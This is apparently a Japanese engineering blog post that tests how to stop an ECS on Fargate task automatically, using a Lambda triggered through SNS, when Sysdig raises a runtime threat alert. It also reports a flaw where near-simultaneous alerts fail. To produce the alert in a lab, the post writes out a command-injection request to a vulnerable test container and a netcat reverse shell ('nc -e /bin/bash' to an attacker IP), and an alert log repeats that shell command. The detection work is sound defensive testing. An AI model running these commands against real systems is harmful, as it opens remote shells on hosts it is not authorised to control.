Sysdig で ECS on Fargate 環境の脅威を検知した際に対象 ECS タスクを停止させる検証をしてみた

Sysdigを使って脅威検知したFargateタスクを自動停止出来るようにしました(が、問題あり)
2023.07.25

1. はじめに

お疲れさまです。とーちです。

ECS 等でアプリケーションをコンテナで稼働させる際の大きな関心事の一つがコンテナに対するセキュリティではないでしょうか?
特にランタイムセキュリティといわれる実行中のコンテナでの潜在的な脅威や不正行為を検出する仕組みは重要です。しかし、2023/7 月の現時点では AWS のネイティブ機能だけでは、このランタイムセキュリティを実現するのは難しいかと思います。

そのため、パートナー製品を導入してこの問題を解決することが一般的です。AWS ドキュメントにもランタイムセキュリティのベストプラクティスとしていくつかのパートナー製品が紹介されています。

その中でも、Sysdig は 比較的コスト面(※1)での導入のハードルが低いと言えます。Sysdig は優れたプロダクトですが、現状では Fargate 上で稼働するコンテナ に対して、脅威を検知することは可能でも、その検知した脅威に対して対象コンテナを停止したり、kill を行う機能は提供していません。(なお ECS on EC2 では停止や kill は提供されています)

そこで、Fargate 環境で Sysdig を用いて脅威を検知した際に、対象となるコンテナ(ECS タスク)を停止させる仕組みを検証してみました。結論から言うと、ECS タスクの停止は実現できましたが、 問題点を含む 内容となっています。しかし、こういった検証に興味がある方もいらっしゃるかもしれないと思い、今回ブログとして公開することにしました。

※1 ここで言及しているコストは、AWS Marketplace 上での価格を指します。パートナー製品はそれぞれ独自の機能を提供しているため、製品選択を単純な価格比較だけに基づき決められるわけではない点をご理解いただければと思います。

注意事項

今回、ご紹介する方法は非公式な方法となります。また後述しますが、同時にアラートを受信した場合に発火されないという問題も確認出来ていますので、あくまでも参考程度とし、本番環境等の重要なワークロードが動く環境で今回ご紹介する方法を導入されないようお願い致します。

2. 前提条件

3. 今回使用する環境について

今回使用するのは以下のような環境です。

攻撃用に EC2 を立て、そこから ECS on Fargate で立てたコンテナに対して攻撃を行います。
攻撃を Sysdig で検知し、攻撃を受けた対象の ECS タスクを自動で停止させたいと思います。

4. Sysdig を用いた脅威検知の設定

Sysdig では脅威を検知した際に 事前に設定した通知先に対して通知を行うことが可能です。通知先としては Amazon SNS Topic や Microsoft Teams、Slack、Webhook 等があります。今回は 通知先として SNS Topic を選択し、SNS 経由で、Lambda を起動します。

Set Up Notification Channels | Sysdig Documentation

SNS と Lambda の準備

脅威検知した際に通知を行う SNS Topic と そこから起動される Lambda の作成を行います。 CDK で作成します。コードは以下のリポジトリに格納しました。

CDK コードについては、SNS と Lambda を作成しているだけで、特筆すべき処理はありませんが、SNS Topic のリソースベースポリシーの設定には注意してください。Sysdig が SNS Topic で通知をするためにリソースベースポリシーに Sysdig 所有の AWS アカウントからの Publish を許可しています。 Sysdig ドキュメント上では、以下の箇所にマネージメントコンソールを使った SNS Topic の作成方法が書いてあります。

Amazon SNS 通知 | Sysdig ドキュメント

Sysdig が持つ AWS アカウント ID は Sysdig アカウントを作成する際に指定するリージョンによって異なります。リージョン毎の AWS アカウント ID については Sysdig ドキュメントの以下の場所を参照してください。

SaaS Regions and IP Ranges | Sysdig Documentation

Lambda の処理内容

Lambda では以下の処理を行っています。

  1. SNS Topic から受け取ったイベント情報の中から攻撃を受けた ECS タスクの ARN を取得する。
  2. 対象 ARN を持つ ECS タスクを停止する

Lambda のコードは以下の通りです。

import json
import boto3
import re
# AWS ECS clientを初期化
client = boto3.client('ecs')


def lambda_handler(event, context):
    # print(json.dumps(event))
    data = event['Records'][0]['Sns']['Message']

    # aws.fargate.task.arnが存在するか確認
    match = re.search(r'aws.fargate.task.arn:\s*(.*?)\n', data)
    if match:
        # 停止対象のFargateタスクARNを表示
        task_arn = match.group(1)
        print("Fargate-Task-ARN to be stopped: " + task_arn)
        try:
            # ECSタスクを停止
            response = client.stop_task(
                cluster=task_arn.split('/')[1],
                task=task_arn,
                reason='Stopped by Lambda function'
            )
            print(f'Stopped task: {task_arn}')
        except Exception as e:
            print(f'Error stopping task: {task_arn}. Error: {str(e)}')
            raise e
    else:
        # 'aws.fargate.task.arn'が見つからない場合、エラーを出力して終了
        print('Error: aws.fargate.task.arn not found in data')
        raise Exception(
            'Error: aws.fargate.task.arn not found in data')

    return {
        'statusCode': 200,
        'body': json.dumps(data)
    }

SNS から Lambda を呼び出すと Lambda は SNS から以下のような形式のメッセージイベントを受け取ります。この中の Message に Sysdig から連携されたイベント情報が含まれています。

Amazon SNS での AWS Lambda の使用 - AWS Lambda

Messageに入る値は具体的には以下のようになります。

"Message": "Policy:             Sysdig Runtime Threat Detection\nPolicy URL:(以下略)

見づらいので、改行すると以下のようになります。

Policy:             Sysdig Runtime Threat Detection
Policy URL:         https://app.au1.sysdig.com/secure//#/policies/******
Description:        This policy contains rules which Sysdig considers High Confidence of a security incident. They are tightly coupled to common attacker TTP's. They have been designed to minimize false positives but may still result in some depending on your environment.
Timestamp:          07/19/2023 07:18 AM UTC
URL:                https://app.au1.sysdig.com/secure//#/events/**************
Rule:               Netcat Remote Code Execution in Container
Rule URL:           https://app.au1.sysdig.com/secure//#/policies/rules/falco/Netcat%20Remote%20Code%20Execution%20in%20Container
Severity:           High
Scope:
host.mac:      ip-**-**-**-**.ap-northeast-1.compute.internal**:**:**:**:**:**
aws.fargate.cluster.arn:      arn:aws:ecs:ap-northeast-1:**********:cluster/stop-task-fargate-instrumented-workload
container.image.repo:      sysdiglabs/security-playground
container.name:      security-playground
aws.accountId:      **********
container.image.id:      sha256:****************************
cloudProvider.region:      ap-northeast-1
host.hostName:      ip-**-**-**-**.ap-northeast-1.compute.internal
cloudProvider.account.id:      **********
aws.region:      ap-northeast-1
aws.availabilityZone:      ap-northeast-1a
cloudProvider.name:      aws
aws.fargate.task.arn:      arn:aws:ecs:ap-northeast-1:**********:task/stop-task-fargate-instrumented-workload/7449f68781a**********
process.name:      nc -e /bin/bash **.**.**.** 8002
Actions:            No actions performed
Details:            Netcat runs inside container that allows remote code execution (user.name=root user.loginuid=-1 proc.cmdline=nc -e /bin/bash **.**.**.** 8002 container.id=**************-3350944063 container_name=security-playground evt.type=execve evt.res=SUCCESS proc.pid=*** proc.cwd=/app/ proc.ppid=*** proc.pcmdline=sh -c /bin/nc -e /bin/bash **.**.**.** 8002 proc.sid=11 proc.exepath=/bin/nc user.uid=0 user.loginname=<NA> group.gid=0 group.name=root container.name=security-playground image=sysdiglabs/security-playground:<NA>)

この中で必要な値は、 aws.fargate.cluster.arn の部分です。この部分を取り出すために正規表現を使います。

match = re.search(r'aws.fargate.task.arn:\s*(.*?)\n', data)

ECS タスクの ARN が分かれば、後は対象の ECS タスクを停めるだけです。

# ECSタスクを停止
response = client.stop_task(
    cluster=task_arn.split('/')[1],
    task=task_arn,
    reason='Stopped by Lambda function'
)

Sysdig で脅威検知した際に SNS 通知する設定

続いて Sysdig で脅威検知した際に SNS Topic に通知する設定を行っていきます。
まずは Sysdig からの通知先として SNS Topic を追加してあげる必要があります。

  1. Sysdig SECURE 画面の左メニューから「Integrations」→「Notification Channels」を選択します。

  2. 「Add Notification Channel」を押し、「Amazon SNS Topic」を選択します。

  3. SNS Topic の情報を入力します。

    今回設定した項目は以下の通りです。

    1. Topics:上記 CDK で作成した SNS Topic の ARN を入力します。
    2. Channel Name:Sysdig 上で識別するために任意のチャンネル名を入力します
    3. Notify when Resolved:アラートが解消された際にも通知を行うかどうか、解消されたときに ECS タスクが停止されては困るので無効にします。

これで、Sysdig からの通知先として SNS Topic を追加できました。 続いて、脅威検知ポリシーに上記で追加した通知先を追加します。

  1. Sysdig SECURE 画面の左メニューから「Policies」→「Runtime Policies」を選択します。

  2. 脅威検知ポリシーが複数表示されます。ポリシーをフィルタリングするために画面上部の「Select policy type...」をクリックし、ポリシータイプとして「Workload」を選択します。

  3. 「Workload」ポリシーのみが表示されるのでその中から「Sysdig Runtime Threat Detection」にカーソルをあわせます。するとペンのマークの編集ボタンが出るのでそれをクリックします。

  4. 画面を下にスクロールしていくと Actions という項目があるので、その中の「Notify」のリストボックスの中から、先程作成した SNS Topic の Sysdig 通知チャンネル名を選択します。選択したら設定を保存するため、画面上部の「Save」ボタンを忘れずに押してください。

これで ECS タスク内のコンテナ上で、「Sysdig Runtime Threat Detection」ポリシー内に含まれるルールに一致する動きがあった場合に SNS Topic に通知されるようになります。 SNS Topic に通知が飛ぶことで Topic を Subscribe する Lambda が起動され、SNS から受け取ったイベントを元に ECS タスクを停止するわけです。

5. やってみた

設定が完了したので、実際に攻撃を発生させ、ECS タスクを停止させてみます。 まず構成図の再掲です。

上記の図の ECS サービス(stop-task-instrumented-service)に ECS タスクが1つ存在しています。タスク内には2つのコンテナが稼働しています。

一つは Sysdig の「serverless workload agent」です。このエージェントが業務アプリケーションが稼働するコンテナの監視を行います。
もう一つが業務アプリケーションが稼働している想定の「サービス用コンテナ」です。このコンテナでは脅威検知をシミュレートできる「security-playground」という DockerImage を使用しています。

なお、攻撃用 EC2 はただの Ubuntu 22.04 に netcat をインストールしただけのものになっています。

「security-playground」は curl などで HTTP リクエストを送ることで外部からコマンド実行が出来てしまう脆弱性を持ったコンテナとなっています。 それでは「security-playground」に攻撃を仕掛けてみます。

  1. まずコンテナに netcat(nc) をインストールします。nc は標準入出力の内容を指定した相手に送受信するコマンドです。攻撃用 EC2 から以下のコマンドを実行します。
    $ curl -X POST <security-playgroundコンテナのIPアドレス>:8080/exec -d'command=apt update; apt -y install netcat'

  2. 続いて、この後コンテナで実行することになる nc に入出力するために攻撃用 EC2 で nc コマンドをリッスンモードの 8002 番ポートで起動させます。

    $ nc -nlvp 8002
    Listening on 0.0.0.0 8002

  3. 別のターミナルで攻撃用 EC2 を開き、以下のコマンドでコンテナ上で nc コマンドを実行します。「-e」オプションは nc コマンドの標準入出力を指定したコマンドにリダイレクトするオプションです。bash にリダイレクトすることで任意のコマンドを指定した IP アドレスのホストからリモート実行できる状態にしてしまいます。(いわゆるバックドアです)

    $ curl -X POST <security-playgroundコンテナのIPアドレス>:8080/exec -d"command=/   bin/nc -e /bin/bash <攻撃用EC2のIPアドレス> 8002"

  4. ここまでの手順により、通常ではnc -nlvp 8002コマンドを実行したターミナルから任意のコマンドを実行出来るようになるのですが、実際には上記の手順3を実行したタイミングで以下のメッセージが表示されました。

    curl: (52) Empty reply from server

  5. また「security-playground」が実行されていた ECS タスクを見てみると、タスクが停止されていることが確認できました。

  6. Sysdig SECURE 画面の左メニューから「Insights」→「Host & Container Activity」を選択し、画面右の「Events」タブを開くと「Sysdig Runtime Threat Detection」ポリシー内の「Netcat Remote Code Execution in Container」ルールに合致した攻撃が検知されたことが確認できます。

ここまでは想定通りの動きだったのですが、この後以下の様な検証を追加でしたところ想定外の事象が発生しました。

問題点

上記の図の ECS サービス(stop-task-instrumented-service)に 今度は ECS タスクを2つ起動させてみました。
その状態で、2つの ECS タスクに上記と同じ操作を行いほぼ同時(2,3秒後に)に停止させてみました。

すると、最初に攻撃を受けた ECS タスクは停止したものの、次に攻撃を受けた ECS タスクはそのまま停止せずに残り続けるという結果になってしまいました。

  • Sysdig SECURE 画面の左メニューから「Insights」→「Host & Container Activity」では 1:07 台に2つのイベントが記録されている。

  • 1:07:46 に攻撃を受けた ECS Task の ARN を確認する。

  • 対象の ECS Task が残ってしまっている。

  • どうやら SNS Topic への Publish 自体が行われていない模様

原因は不明ですが、何度やっても同じ結果になったので、 ほぼ同じタイミングで脅威検知イベントが発生した際は、SNS Topic へのイベント通知は最初の1度だけ実行される と結論づけました。
実際にそういったケースがあるかは不明ですが、複数の ECS タスクに連続的に攻撃を受けたときにこの方法では機能しないということになってしまうので、問題がありそうです。

現状、改善案は思いつきませんが、何か良い案が思いついたら別記事で書こうと思います。

まとめ

Sysdig を使った脅威検知時の ECS タスク停止の検証でした。

この記事が誰かのお役に立てばなによりです。
以上、とーちでした。

参考